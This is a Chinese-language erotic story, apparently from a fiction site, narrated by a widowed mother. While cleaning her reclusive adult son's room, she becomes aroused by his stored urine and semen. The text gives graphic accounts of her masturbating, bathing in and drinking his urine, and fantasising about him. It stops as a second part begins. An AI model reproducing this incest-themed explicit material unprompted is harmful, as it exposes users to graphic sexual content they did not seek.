热门搜索


激臭的母爱

  去年春天,我进入一家私人公司做清洁妇,薪水加一加也有个三万,让停滞了整整一年的家庭经济状况开始好转。

人家说,人生五十才开始,但是当你四十五岁就会体认到──原来这个社会提供的众多机会已经有了门槛,你不再年轻,无法像以前一样理所当然地享有机会。因此看到公司里一些年轻女孩不好好把握青春努力向上,真是为她们奉行活在当下的思想感到惋惜。

同样的可惜,也发生在我那今年就满二十五岁的儿子承彦身上。

丈夫在二十年前去世,我一手拉拔承彦长大,虽然无法想要什么就买什么,但至少能给他衣食无虞的环境、把他养得白白胖胖。他的成绩不是很理想,最后努力考上了私立中段班,未来打算拼拼看公职,没想到这一切在他的退学通知单寄到家里后,应声瓦解了。

我第一次到承彦念的学校去,竟是为了帮忙逃避二一退学这个现实的孩子,从他阴暗杂乱的宿舍里拖出来……原来他对我说的是一套,学校里做的又是另一套,他根本没有心思念书,谘辅老师还说有什么社交恐惧症。

没办法,到了这个地步,只能带着他办理退学,母子俩把宿舍打理干净、叫一台计程车回去家里那间老公寓。承彦在车上挨了我一顿训,他始终没辩驳,回家后就把自己关进房间里。

这一关就是五年,期间承彦说什么也不肯离开家里,逢年过节还不见得带他回娘家,工作当然想都别想。他甚至为了逃避兵役,原先就过重的身体硬是吃到免役门槛,后来也没履行减肥承诺,仍然无节制地胖下去。很多事情都像这样被他一再逃避,就算想帮他安排医生也不赴诊,弄到最后我真的是心力交瘁,干脆放任他窝在他的世界里。

母子俩的关系僵化至今,情况终于开始有了改变。可是,那个变化却……************说是睽违整整五年并不夸张,承彦的房间自从他回家后,完全不让我踏进一步。最近夏天到了,他那没好好打扫的房间累积一年比一年更离谱的脏乱,终于冒出让他不堪其扰的蚊虫,数量多到宁可打开房门让我进去清理,因为凭他自己胡乱使用杀虫剂根本清除不了。

房门一推开,夹带着酸臭味的浓浓恶臭迎面而来,像是汗臭、海鲜臭、坏掉的食物与一些不太能形容的剧臭混在一块,不戴口罩很难过的……但是戴口罩进儿子房间就怕刺激到他,我只好鼻子紧缩,咬紧牙关打开房间大灯。

十六度的冷气房里,承彦正在床上呼呼大睡,被子也没盖好,床角……居然还有卫生纸啊汽水罐之类的垃圾,还没靠近就听见好几道「嗡嗡」声。真亏他能在这种环境中撑五年。

我替他盖好被子,他赤裸的上半身比以前充满了更多肥肉,好几处都有蚊虫叮咬的红点,看了教人于心不忍,连责备他不好好振作的心情都没了。

那么……开始打扫吧!只要记得别动到承彦交代的私人物品就好了,还得尽量别吵醒他……刚这么想,身体就下意识地往一阵痒的右臂拍过去,粘在掌心上的是一只大蚊子。

首先是瓶瓶罐罐,这个房间到处都堆满了饮料罐,如果是上了盖的宝特瓶还好,汽水罐就糟糕地飞满小蚊子或爬满蚂蚁。从电脑桌、床舖到书柜,宝特瓶与易开罐的数量就塞满了一只大垃圾袋,这还只是一半的量而已。

我曾经在半夜撞见承彦带着装满水的宝特瓶进浴室,接着是「哗啦啦」的倒水声与一片惊人的恶臭──原来有些空瓶子被他拿来当成尿壶,而且久久才清一次。因此,看到好几只蚊子在成堆装满水的大容量宝特瓶旁飞来飞去,也不怎么让我惊讶。麻烦的是把这些大宝特瓶通通搬到浴室去……大大小小加起来竟然有五十瓶,真夸张。

我们家马桶开始吞着一罐又一罐的尿,而我就像以前在工厂做女工那样,戴着口罩与手套,机械式地重覆着拿起瓶子、转开瓶盖、倒尿、再转上瓶盖、放到一旁的动作。即使戴了口罩,整间浴室仍然被重到离谱的尿骚味注满,才处理十个大宝特瓶,鼻子就开始麻了。

看着污浊的黄橙色尿液「咕啵咕啵」地灌进马桶,我不禁想这到底屯积了多久?有些混浊度比较低,或许是这一两天的,有些则是完全浓到像果汁的颜色,宝特瓶底部还出现红红的结晶。那股尿骚味也不是一般厕所会出现的臭味,而是像脏到几乎没在打扫的公共厕所……再浓个好几倍上去。

近距离戴着口罩闻到的尿液气味,令人彷佛置身肮脏至极的公厕,脚边似乎还踩到破损磁砖里的积尿……啊!原来是溅到外面来了。

擦了擦地板与马桶边缘、放下马桶盖冲个水,我就到客厅去换口气,没想到那臭味照样薰得整屋子都是。到哪都是承彦的尿骚味……唉!

这孩子可以为了玩电脑宁愿不上厕所,用宝特瓶当尿壶也不定期清理,真是不知道该怎么教了。再说嘴巴细菌很多吧?那些细菌跑到瓶口上,他还敢用生殖器碰触……一想到刚才手中拿的都是被承彦下体碰触过的宝特瓶,一种怪异感就油然而生。最初像是恶心,后来是担忧,现在变成有点紧张,但确切产生恶心、担忧、紧张的目标物为何,却又无法立刻说出口。我被这种模糊的反应弄得五味杂陈,最后反覆为了自己还搞不清楚的状况感到紧张不已。

重新回到尿骚味浓郁的浴室,我第一个反应不是苦着一张脸,而是赶快关上门,免得这味道弄醒了承彦。刚才那股怪异的感觉还未消失,我只好在心中怀着异样的滋味、抓起一罐罐扭曲变形的宝特瓶,转开、用手感受气体喷出、看着浓臭的橙水倾吐在马桶内。

明明一瓶只要十几秒钟就搞定,为什么却好像已经过了很久呢?视线被起伏的浓液牵引,脑袋彷佛有在构筑什么、认真想弄懂却又扑了个空,直到最后一瓶尿水倾尽,我才疲惫地伏在锁住浓臭的马桶盖上,感受着冲水的震动,让它震掉奇怪的感觉、震掉被臭味刺红的脸。

承彦房间里还有几个宝特瓶收藏在电脑桌下,旁边是一大堆卫生纸和压扁的零食袋。我弯身把东西全部扫出来,却因为那三个宝特瓶装的东西愣住了。六百毫升的宝特瓶,有两个装满了米黄偏白色的液体,另一个装了约五分之一的乳白色液体。

沐浴乳?洗衣精?这两样家里就有的东西根本不需要额外装,那么还会是什么呢?我看向熟睡的承彦,视线不由自主地往他腰下移去──真的是这样吗?他的……承彦的那个……不,还不能确定。

也不晓得打哪来的执着,我说服了自己必须确认这件事,就拖拖拉拉地抱着宝特瓶前往浴室。

口罩……应该……不必戴吧?再怎么说,应该也不像橙色的浓尿臭得那么激烈,所以不用戴吧!嗯,我……我要开罗!一、二──好臭!不过是转开瓶口,一股浓厚的腐臭味迅速冲开,本来还残有尿骚味的厕所,竟然短短几秒钟就被腐败的腥臭味掩盖住了!我吓得赶忙转紧瓶盖,臭得不禁挥手驱散味道,但这浓臭的程度顽劣得很,挥挥手根本起不了作用。情急之下,我起身关了浴室门,像是怕被承彦发现似的,身体倚着门口,双眼直瞪马桶旁的恶臭宝特瓶。

好讨厌的腐臭味!承彦他为什么……为什么不把这种东西处理掉?这种……他的……「咕噜……」吞了口口水、顶着燥热起来的双颊,我凝视浓黄的液体,脑海畏缩地浮现了缺漏的两个字──那是……承彦的精液。一定是放很久,放到都腐败了。而且量也……量也未免太多了吧?

记得很久以前,还有做避孕的时候,我曾经因为好奇拿起先生用完的保险套把玩,量根本只有几滴而已。可是承彦那至少两个宝特瓶又多一些……天啊!那孩子到底弄了多少进去?他是……他的性欲这么强吗?

糟糕!一旦确定那是承彦的精液,我的心跳就变得好快,身体也莫名热了起来。就连空气中残留的腐败腥臭味,给我的感觉也变多了。原先的恶臭依旧,却多了一股想要与之妥协的念头。

想要……忍耐着多闻一次……两次……三次……不行……我是怎么了?竟然躲在浴室闻儿子的精液!那明明都放到腐败了,颜色变成脏掉似的米黄,瓶底还结了一块块乳黄色固体,却不像一开始那样视其为垃圾了……啊……好臭……好臭啊……承彦……我在厕所既忍耐又有点雀跃地闻着臭味,直到那股味道重新被挥之不去的尿骚味吞噬,才顶着发红的脸颊回过神来。

不过是转开瓶盖就这么臭,要是整个打开的话……害怕又期待着的口水再度「咕噜」一声吞下肚,我感觉到一股急欲尝试的冲动,却又担心被发现,折磨了会儿,还是决定先别这么冲动……把承彦房间打扫干净再说吧!

我在洗手台做了两次深呼吸,淡化的尿骚味缠绕着鼻子,它们若有似无地带动方才的余韵,只是力道纤弱,离开浴室就消失殆尽。

没想到承彦踢了被子,只穿一件四角裤,大腿开开地睡着,我忍不住瞄向他的股间、他释出精液的部位……不行,振作起来,别胡思乱想的,他可是你儿子呀!不行乱想,只要想着打扫就好,不行乱想、不行乱想……整理得差不多,放好蟑螂药、点了些蚂蚁药再开电蚊香,前后花了快两个钟头,总算让这房间里的臭味退掉大半了。等到现在还成群贴在墙壁与角落的蚊子死得差不多,再关掉电蚊香改喷香水吧!呼~~垃圾可以整理两大袋也真是不简单,其中一袋还全部是卫生纸,这孩子怎用得这么凶啊?

提着大垃圾袋到阳台时,我才意识到──该不会是因为手淫?承彦的腐臭精液味再度浮现于脑海,如果经常手淫,会累积这么多精液、用掉这么多卫生纸,似乎就说得通了。这样啊……承彦他在房里,经常是在手淫吗?那种事让他这么快乐吗?

绑好第一袋,正欲绑第二袋时,我盯着里头满满的脏卫生纸,想到有一大堆是米黄色的,就像沾了承彦的精液。仔细一闻,混杂的气味中确实能闻出淡淡的精液气味……是这张?不是,是下面的……再下面的……这团……这附近都是。

我心跳变得好快,掌心一握,紧张兮兮地抓出一团染上污黄的卫生纸团,精液味道比刚才更重了。没错,这是承彦手淫后用来擦拭的卫生纸,上头有他的精液。

……我到底在做什么?这实在太变态了!我怎么可以拿这种东西,还想些有的没的……有的没的……像是什么呢?像是……承彦的精液……承彦弄出精液的地方……承彦的……阴……茎?

身体好热,不行,快点转移注意力,别被乱七八糟的思绪控制了。加油,紫韵,你不能乱来,不能去想那个……你要保护孩子。

对,我要保护承彦,所以我不能……不能自己反过来伤害他。

第二袋垃圾绑好,心慌意乱的我就下楼到杂货店买了一包香菸。以前在老家抽的牌子改名也换几次包装了,我想口味没变的话应该是抽绿条的。一到店外我就点起菸,顺畅又怀念地感受着嘴腔被菸味充斥的滋味。

我国小毕业就进工厂贴补家用,生产线的大姊是个老菸枪,给她带一个月我也跟着抽起菸,直到认识先生才答应他要戒掉。后来我只有两段时期碰香菸,一段是先生离开后那三年,一段正要开始。

我很清楚,要不是无法承受现状,就是无法抵抗现状的诱惑,我只有在这两种情况下感到力不从心、感到强烈的动摇,因此才循着以往的记忆,回到自己一度认为是非常令人安心的行为模式。

和遛狗的邻居小聊一会儿、苦笑着扯个菸瘾又复发的藉口,十分钟后我才在一股越来越不对劲的感觉支配下返家,第一件事就是拿出镜子。

映照在镜子里的是一个四十五 岁、快要到更年期的女人。虽然只能尽可能客观,但我想我的姿色还是有魅力的,尽管皱纹变多、皮肤也没那么好,可是五官很工整,和年轻女孩并排会显得苍老,跟同龄朋友相比就感觉小一点。我把头发放下、梳直,看着镜中的自己,想着一些以前很在意的外在条件,然后……一道新问题突然冒出——这样的我,对承彦来说有吸引力吗?

……我又点起菸,让来来去去的菸味冲淡新问题、冲淡我不该产生的某些联想,最好也能冲淡身体的热度。

忍耐,紫韵,你都当了二十五年的妈了,意志必须坚强。承彦无法振作的现在,只有你是他的避风港,你要稳固这个家,不要让孩子因为私欲受伤。来吧,自己动手吧!

沙发虽然旧了,一个人坐着还是很舒服。菸虽然走味了,一个人抽时仍然很安心。

脱掉裤子、触摸已经几个月没碰的身体吧!什么都不要想、什么都不要想,只想着你爱抽的菸、想着沙发的触感,然后,动起手指。

动着,动着……让手指穿越浓密的阴毛、搓揉充满单纯渴望的阴蒂。感受到了吗?一阵阵的舒畅感正在慢慢成形,它优雅的曲线随着单纯的自慰并列上升,再弯成美丽的黑桃状……可是黑桃?那看起来不就是……阴茎?阴茎……对,承勇的阴茎,粗粗的,布满血管,插进了浓毛下的阴道……承勇跟我想要孩子的那些夜里,我就是这样舒服地躺着,让他在里头插……插……插……插……我们不戴保险套,或是尝试他从朋友那听来的奇怪方法,在保险套前端刺洞,然后承勇戴着套子在我体内射精,把包着精液的套子留在阴道深处……几次之后我受孕了,怀了承彦。

承勇的精液味道像是漂白水,承彦的精液都是腐臭味,可他们不愧是父子,两人的精液都让我难以忘怀。承彦的……臭精液味……啊啊……而且那么多、那么臭……承彦那孩子总是一个人窝在房里手淫,然后射精在宝特瓶内,最后被我发现那装满精液的宝特瓶。

承勇,我们儿子变成这样了,怎么办?我又该怎么办?因为我对他……我对他……要到了……我好舒服啊!承勇……承彦……妈……妈在摸着阴蒂,在想着你的精液……原谅我……承勇你也原谅我好吗?我不能控制……太久没摸……太舒服了……啊……泄了……我要泄了……承勇……承彦……蝉鸣声盖过心跳声的刹那,心脏怦怦急跳着来到指间的高潮,温吞又强劲的力道推着我往舒服的穴里推挤,彷佛全身都在快乐,情不自禁地扭起身体。

持续了几十秒……几分钟……快乐才在热汗中消退,我似乎可以闻到多毛的私处传来的气味。

我想着……想着承彦的精液……伸手抓起菸盒却抓不稳,摔到肚子接着又撞向阴蒂,一阵酥麻涟漪传开,我顺手就压紧菸盒去触及阴蒂。又推又挤的,舒服感再度如涨潮般涌现,只是还没高涨,就不慎给菸盒的锐角擦到,顿时整个下体痛到人都缩起来了。

稍微冷静后,我没放多少心思的抽出四根菸,让它们滚在肚子上,盒子一盖就扔到桌上去。像是在玩拣选游戏一样来回好不容易才选出其中一支,点了火、吸了口,白烟喷出之际,它们以相似的色彩形成暧昧的暗示,使我又想起了承彦的精液。

我还想摸,这次不用手指,要用别的东西,最好是小黄瓜或茄子……我以前就对它们有好感。电视摇控器虽然也可以,却很笨重难拿。盒状不行,刚刚被弄痛就没心情了,但是打火机或原子笔可以。可是这两个试了试,感觉不对,最后我拿起了肚子上的香菸,用未点燃的菸头触向阴蒂。

我想起来了,以前喜欢用茄子的原因,是因为弄一弄它会变软甚至破裂。还有就是学会抽菸后有试着用香菸弄,也是因为它比原子笔还软,而且弄一弄它会湿烂或碎开、菸丝如崩溃般散落一地。我喜欢这种毁灭性的变化,所以家里以前会卷一些拿来烧的自制驱蚊棒,那东西也被我偷偷拿来塞过下体。

一号菸头软绵绵地戳着阴蒂到包皮,二号菸头在阴毛间滑来滑去,最后两根合在一起戳吻着阴蒂。三号菸头来到阴道口,轻轻往穴口内推一点点,就牵着一层让包装纸湿透的透明汁液来到阴蒂上。前端湿掉的菸头挤呀挤的,不一会儿就断裂,于是我捻起断掉的菸头,将它磨碎在阴毛上,但是才一点点感觉很不够,我接着又屏息把三号香菸的包装纸拆开,唰唰地都倒在阴毛上后用手磨蹭。

啊……就是这种感觉!不管是挤烂的茄子还是弄碎的菸丝,像这样附着在私处上、让肌肤感觉到湿黏或干热的触感……许久未嚐的愉悦掌握了我的动作,一号香菸和二号香菸接着也面临同样的支离破碎。

我要高潮了!快乐的直觉和停不下来的手指都是这样告诉我的。我……很快就在属于我一个人的快乐中泄了。实在太舒服、太棒了,不管是用手指还是配合其它东西,两次高潮都让我十分享受。

然而当我自高潮中回过神,正欲再点根菸放松一下时,却看到承彦站在房门外,目光直盯着这儿瞧……

我在客厅自慰的过程被儿子撞见了,纵然只脱去下半身、阴毛茂盛得几乎挡住性器,整个过程似乎有叫出声或喃喃自语,恐怕这些都给承彦听见。他看着我时,眼神彷佛刚睡醒时惺忪散漫,可是他的下半身……只隔着一件四角裤的下半身,挺起来了。

我还没尴尬地收拾残局,他就顶着充血的私处走进浴室……我赶紧穿上内裤与裤子,把自己弄回和往常一样的姿态,走到厕所外用平淡的语气问他肚子饿了没?要不要吃点东西?过了一会儿,我听见了放尿声,脑子里立刻联想到那些被我倾倒的宝特瓶,脸又红了起来。承彦尿到一半时回答随便煮个泡面就好了,好吧,那就煮泡面。

在我开伙的时候,承彦默默地抱着三个宝特瓶回房,我这才想到那些东西忘了放回去……嗯,承彦的精液……锅子里的汤水「咕噜咕噜」地冒着泡,我那稍微失控的思绪也跟着天马行空直到关火。

我端泡面进房时顺便也拿带了扫把畚斗,承彦已坐在电脑前,他的那里……呼~~消退了,不过好像让他尴尬到不知道该怎么面对我,真是伤脑筋,我只好安静地扫地、擦墙壁。整个房间小蚊子还是满多的,于是换了电蚊香位置,再清理冷气出风口的灰尘。承彦他始终没反应,为免他心情不快,我赶紧做完就离开房间了。

那晚我们母子俩也只有吃什么的话题,简单处理的结果,我努力让自己看起来和往常一样,却摆脱不了尴尬的气氛。

时隔一周,承彦再度要我帮他清理房间,说是蚊子后来又变多了,痒到他睡不着。说是这么说,等到我推开房门一看,瓶瓶罐罐又开始堆来堆去,蚊虫几乎都聚集在上头,而承彦就跟上次一样呼呼大睡着。真想当面告诉他别再这样乱丢了,不然至少也把瓶子清洗过。等他睡醒一定要念个两句才行。

清掉瓶瓶罐罐、点电蚊香再擦拭脏透了的桌面时,我注意到脏兮兮的电脑萤幕上开启着的资料夹是满满的图片档案,有点好奇承彦是在看什么东西的我点开了第一张图,结果竟然是母子色情漫画……我吞了口口水,转头确认承彦睡得正香,于是坐了下来,连续看个几页。即使不太能接受这种细致的图画,我却受到母子乱伦的题材影响,从几页看到十几页去,然后在背后传来翻身声音时吓得赶紧关掉档案,幸好承彦只是翻向墙壁。

我起身想忘掉那个一下子就出现性交画面的漫画……真是变态,画出那种东西的人是变态,会看那种东西的人也是变态……就算是我的孩子……就算是承彦也……也是变态?不,不是这样,那只是他用来手淫的助兴用品而已,跟内容无关,只是因为有性交画面才会使用吧!承彦再怎么样也不像是那种变态,他还处处都需要我照理,再说我们都生活二十五年了,怎么可能会有乱伦什么的想法?

可是……上个礼拜的自慰,我为何想着他?不知道。问到自己矛盾的地方,整个人就心烦意乱。

收拾得差不多后,这次却没见到承彦拿来装精液的宝特瓶,让我好在意它们究竟藏在哪?柜子上也没看到,角落也没有,是处理掉了吗?这样的话就觉得有点可惜……嗯,先去处理那些尿吧!

大概是因为承彦的房间没上次脏,这次我完全忘了该在倒尿时戴口罩,那骚臭随着开瓶动作喷向我的脸,害我直接吸入弄得整个鼻腔都是尿骚味。事到如今还是直接倒吧,反正味道都出来了,「咕噜咕噜……咕噜咕噜……」这次是黄浊色的尿为主,也不见红色结晶,是比较新鲜的尿吧!

「咕噜咕噜……咕噜咕噜……」啊……承彦的尿正在我手中倾泻再倾泻,他的尿……不像先前那股腐臭,而是浓郁的尿骚味,味道很重、很臭,我的鼻子却在尿臭味之中「嘶嘶」地嗅了起来……不行……快停……紫韵,停下来啊……停止这种变态行为!

浓尿倒尽,我才如大梦初醒般回过神来,旋即又给地板上成堆的宝特瓶刺激着,那些里头都装满了承彦的尿,我孩子的尿。我抱起一个小宝特瓶倚墙而坐,「噗嘶」一声转开瓶盖,尿骚臭味在盖子完全拿掉后浓浓地漫开,而我只是盯着那看起来并无异样的瓶口。

『这个地方,就是承彦用嘴巴碰过、最后又用生殖器贴过的地方,是排出那种浓臭尿液、腥臭精液的阴茎触碰过的地方。』这么想就让我浑身热到不行,脑袋又浮现刚才看的乱伦漫画,性欲……竟然就这样被挑起了。

我垂下了头,头发盖住整个宝特瓶,嘴唇离瓶口只有几公分不到。浓浓尿臭升起后直接冲向我的脸,小小的瓶口似乎在挑逗着我伸出舌头、舔向它……舌尖传来咸咸的、涩涩的味道,我意识到自己正沿着瓶口舔了一圈,心里居然半点抗拒都没有。于是乘着这股气势,头放得更低,尿骚味更浓臭,碰了儿子嘴巴与生殖器的瓶口,被我在一片骚臭中轻轻含住了。

变态!做这种事的人一定是变态吧?竟然会有人含住儿子充当尿壶的宝特瓶瓶口,舌头还在朝中间戳顶……呼~~承彦的尿臭直接往嘴里冲了……我想要更多的接触。

但我还是有自知之明的,我并不会对承彦……真的做出什么事。但是,这些他本来就不要的东西,在处理掉以前稍微让我快乐一下……应该没关系吧?

「喀嚓」,我锁上浴室门,回头看向一地装满尿水的宝特瓶,脸红通通地在一片浓臭中脱下上衣、裤子,接着是内衣裤。承彦的尿臭味扑打在我松驰的肚皮上,把我微微隆起的小腹、讨厌的妊娠纹、有点下垂的乳房都彻底抚过一遍。

我对着马桶轮流扬起手臂,让不断升起的尿骚味粘附在腋毛上,再感受着手臂、胸口也充满骚臭的滋味。光是这样轮流轻触身体、让味道缠绕上身,就让我舒服得不禁喃喃。

我吞了两次口水,说服心中还有点胆怯的自己,然后转开了好几个宝特瓶、小心翼翼地倒一点尿在马桶边缘,好沉浸在更浓更臭的气味里。

承彦……你的尿骚味正在调戏妈妈呢!它们让我脸好红、心跳变得好快、鼻子……鼻子觉得又臭又享受……还有那些滴在马桶上的黄浊尿液,靠近闻真是臭到有点受不了呢!整间厕所最臭的就是装满你尿水的马桶了,现在妈妈正闻着马桶的尿……闻着你的尿……承彦的尿尿……啊……光靠尿臭已经不够了,想要更多、更直接的接触。我拿起宝特瓶推向鼻孔,鼻子贴紧了瓶口就是一阵深嗅──呃呃!这臭味刺激性太强了,鼻腔承受不了,我又急忙拿开换气。呼~~呼~~再来一次,又是一阵闷闷刺刺的臭味!没办法持续对着瓶口呼吸,只好吸一口就换一次气、吸一口换一次……闻着闻着精神有点恍惚,又有种扭曲的满足感。

瓶身缓缓下移,来到唇前,我伸着舌头吸住瓶口后就「啾噗啾噗」的吮了起来。啊啊……变态,这是变态的行为吧?

唇舌离儿子的尿只有短短几公分,手只要轻轻往上抬,就会……呜……尿!

碰……碰到尿了!我又惊又喜地拿开宝特瓶,浑身颤抖,只因嘴唇和舌头都沾到尿,咸味正透过舌尖传开。

我……我吃进承彦的尿了?他的尿……浓浓臭臭的黄尿……啊……啊啊……就这样进到我体内。变态……我真的是变态了!对不起,承彦……我是个变态妈妈,竟然因为嚐了你的尿而感到兴奋。

我……我……再次拿起宝特瓶,热烫的右手浑噩中一个动作,就听见「咕噜咕噜」的倒水声,接着是胸口一片清凉触感迅速散开。

哈……哈哈……我倒了,我把承彦的尿倒在胸口上了!尿骚味……尿骚味出来了!我的胸口、胸部、肚子、私处都凉快又敏感地感受到了。是承彦的尿……哈哈……啊哈哈……变态啊!我……这下再也无法逃避了,做出这种变态的行为还感到快乐。

第二瓶尿也在有点轻飘飘的情况下,随着右手手腕一转,「咕噜咕噜」,挟着冰凉感倾泻于头顶。头发湿润开来的短暂过程,我兴奋地期待着。待发丝因着尿液变得湿重,脸颊正面也被骚臭的细流洗了一遍。尿水在我脸上或快或慢地滑落,沾湿了后颈,滑向背……现在我身体前后都是尿了。哈哈……承彦,你的尿淋在妈妈身上了喔!现在妈还要拿另一瓶,这次要直接从额头往下倒……呀!噗!呜……呜呜……呜噗……呼~~尿……整个脸都是臭尿尿,嘴巴一张开,旁边的尿就滑进去了……咸……好咸呀!承彦的尿被妈妈吃进嘴里了,好咸又好臭!

再一瓶……吧?不管那么多了,我把所有宝特瓶都转开,过程中不慎弄倒一瓶,看着黄尿倾吐在白色磁砖上,地板渐渐转黄的样子勾动了我的欲火。于是我弄倒第二瓶、第三瓶……甚至主动把它们倒在地板上,再用手……用手把整滩尿往四周推开。尿骚味从马桶到身上,现在连整间厕浴室的地板都是一样浓臭了。

我停不下来,好快乐。兴奋的缺口一一被填上,这些变态行为让我既满足又渴求更多。

我抱着那些倒光尿水的宝特瓶,躺在湿湿冷冷的地板上,和一个个瓶口轮流接吻,脑袋里浮现的是承彦那不晓得长怎样的阴茎,有时又是他喝汽水的脸……啊!我到底在想什么?想着承彦却舔着他的尿……不行,这样不够,我要自慰,我要用沾着脏尿的手指自慰了。

妄想加诸在浓臭的现实中,使那些瓶口看起来彷佛就是承彦的嘴唇与阴茎。

我吸吮着空瓶子、抱着还装满尿的瓶子到胸口,一边舒爽地抠着阴蒂,一边将那瓶口推向左乳乳头。生了承彦、上了年纪后,我的奶头就变得又大又丑,此刻却能刚好被瓶口紧密套住,触感实在太棒了!

就算抬高瓶身让尿倒向乳头,外漏的也不多,我可以感觉到乳头浸泡在尿液中。我那曾被年幼儿子吸过奶水的乳头,现在却被满是尿水的瓶口滋滋地套弄;肥满的乳头持续磨擦着,阴蒂也在手指间弄得快受不了了!

那里……我的那儿,也想要这样的接触……瓶口很快地掠过湿臭的阴毛,在尿臭中触及最敏感之处。瓶身倒立盖住了我勃起的阴蒂,但它毕竟不像奶头那么粗大,没办法用来套弄,可光是这样就让我忍不住扭动身体,因为承彦的尿正吞没我的阴蒂!

好棒呀……背后压着的是尿、私处与奶头灌着的也是尿、湿透的头发更是骚臭到不得了……我的承彦……承彦的尿骚味……全身都是……全身都是……我要泄了,也想泄了,在满室尿臭中泄掉一定很爽……我有这样的预感!可是还缺一个……缺……缺一个我也不太清楚的……呃……接吻?对……不……是更深入的……是舌也是唇,对,我的唇舌都想要像这样被尿液浸着。

这般想着的我抓起宝特瓶就用嘴巴吸住,接着聆听明显转大的心跳声,在一片愉悦中倒尿入嘴。我的舌头、牙齿到舌根沉入骚味十足的尿液中,喉咙彷佛也染上了这怪异的瘾,既渴求又害怕。

混乱中欣喜的滋味扩散又收缩、收缩又扩散……越来越大的幅度,最后终于驱使我咽下满嘴的尿……呃!呃呕、呕呵!啊啊……终于还是免不了排斥吐了出来,尿液还逆流到鼻孔,嘴里更是在双唇微启后「咕噜咕噜」地响奏着。呼~~鼻腔内也湿透了……这么一来,我只嚐得到尿臭了。

就是现在,动手吧!沾点尿搓起那颗湿臭的阴蒂,右手「咕滋咕滋」地搓揉着淋了尿的阴蒂、左手随便在地上沾了尿就吮吸起手指,「咕滋咕滋……咕滋咕滋……」因尿而弄出声的阴蒂磨得我好爽,就要到了……承彦,妈妈要用全身都是尿的身体高潮了……你的尿……是你的尿喔!

哈啊!快乐地弓起的身体传出一阵愉悦的爽痒,横越临界点的快感开始如涨潮般涌起、落下,涌起、落下……我松开了阴蒂,舒服地扭动身子,两手频频将满地尿液抹上身。手指抚在乳房和腹部上,乳晕因尿而湿亮,肚脐内也注满了浓臭的尿水。涌起、涌起、涌起……我的高潮浪潮是黄浊的尿液,它把我高高地卷起又爱抚了一遍,才将我放回湿冷的骚臭之中。

呼~~哈……哈哈……刚才还在帮儿子整理房间,现在却用儿子的臭尿做了如此满足的自慰。我……真变态!变态又快乐。

高潮后我仍躺在尿滩上好一会儿,余韵持续不断地发酵,只是闻着尿骚味或碰触、舔舐尿水,都让我觉得舒服透顶。这样的享受直到地板上的尿都流光或干掉才逐渐降温。虽然马桶里还有浓臭黄浊的冷尿……有点心动之余,冷却的脑袋赶紧告诫自己,别再做些更变态、更肮脏的事情。

我心满意足地洗了个澡,走出浴室才发现竟然花掉整整一个钟头!但是我好满足、好满足,也对那种变态行为有了全新的认识:用承彦的尿来自慰的话……既可以保护他,又能让我非常舒服。这样的话,变态也无所谓。

那孩子依然沉沉地睡着,我替他盖好乱掉的棉被、悄悄摸了他的头……打理好房间,就到客厅沙发上吹着电风扇抽菸。

变态行为后没几天,我的身体好像变得更加敏感,也对尿骚味产生反应。原本我以为只是对承彦的尿如此,在公司打扫厕所时却又因为尿骚味感觉到一股雀跃。确实反映在肉体上的刺激,为我枯燥的妄想添了更多奇妙的景象。

二楼的男厕很干净,三楼的男厕小便斗常有外漏,五楼的男厕则是经常性脏臭……尿液滴在小便斗边缘传出的骚臭味,犹如美妙的触摸袭向我的身体,清洁过程还真有点不舍呢!

虽然我的工作因此多了点趣味,但距离激发情欲还是有一段距离。要说那距离是什么嘛……我想一来是承彦,二来是他大量的污黄尿液。

承彦的房间在我打扫的一个月后,已经没有像当初脏得那么夸张,蚊虫也几乎没有了,唯一没变的是──他仍然会堆一大堆宝特瓶,而且照样懒得处理。

由我帮承彦处理宝特瓶似乎成了我们母子间的默契,但必须在他睡觉的时候才行。下次处理是差不多一个半月后的事情,不管平日还是假日,他白天就是睡得一塌糊涂,我于是趁周六上午进到他房里。

房间空气虽然有股臭味,但至少不像以前那种混杂的恶臭。我来到床边,看着承彦暖暖的睡脸,鬼迷心窍的又忍不住往下看,他的四角裤稍微隆起……那是皱褶还是……不……不行,别去想了。

我开始收拾房内的所有宝特瓶,整理过后才发现数量竟比上次多出一倍,有半数以上瓶身都扭曲或肿胀,东倒西歪地站也站不稳。和前面几次一样,我把所有宝特瓶带进浴室,地板占满了就放到浴缸内,整间浴室都摆满装着尿液的宝特瓶,有黄有橙、有混浊有透明,感觉真棒。

光是这样看着浴室内的景象,心头就有种小鹿乱撞的预感,『一定会很美妙的……』我舔着上唇如是想。

就在我脱到只剩内衣裤、准备赤身裸体进入浴室时,背后传来了开门声……我吓了一跳,回头竟和承彦四目相交。

他看着只穿内衣裤的我,视线稍微往旁边飘移,想必看见了满地宝特瓶的浴室……他傻愣在原地好一会儿,才问我在干嘛?我说我要把那些宝特瓶清空后丢掉。为什么要脱衣服?因为……因为待会顺便洗澡。真的吗?嗯……真的。

承彦不死心地来回看着浴室和我,彷佛想确认什么似的,最后理不出个所以然,只好搔着头发说他要继续睡了……房门关上,我松了好大一口气,心跳这才后知后觉地加快起来。「怦怦……怦怦……」我听着清楚的心跳声赶紧脱掉内衣裤,进入浴室反锁上门,然后……然后倾倒在满地宝特瓶之中,让这些尿瓶包围住我赤裸的肉体。

好紧张,被承彦看到了,就像上次自慰被他撞见一样。呼~~他会发现吗?

发现我的谎言、发现我将要做的事、发现……我迷上他浓臭的尿液?没错,我爱上了用这东西来自慰。

每天在公司下班后独自打扫厕所,被那光是一点就让别人脸色难看的尿骚味挑逗着,这一个半月来都在期待承彦屯积的尿液。

一瓶接着一瓶的尿,如今就在我身边,啊啊……我压抑着期待的呻吟,抱起好几罐尿让它们在我肚子、私处、乳沟……还有脖子上静躺着。然后,我转开了其中一瓶,浓黄尿液随着新鲜的尿骚味倒在我的脖子、双乳、肚脐……然后是私处。冰凉的尿臭伴随第二瓶尿灌浇在我脸上,我在尿浴中张开嘴巴,任由脸上的尿汁流入嘴里。

看呀,我这个变态妈妈又喝下儿子的尿了,全身也都淋上尿水!哈哈……一瓶……两瓶……三瓶……我要更多的尿尿、更重的尿骚味。

奶头在黄浊色沐浴中缓缓挺立,阴蒂也敏感地翘起。开封的瓶盖随意地搁在一旁,倾吐尿水的宝特瓶一罐接着一罐,整间浴室很快就笼罩在激臭的尿骚味之下,而我就在满地臭尿上忘我地打滚。

我是个喜爱尿臭的变态妈妈,今天也要用宝贝儿子屯积了好多日的浓臭尿汁自慰……

(下)

一个多月一次的自慰,不知不觉也过了一年,这期间很多事情都有了小小的改变。

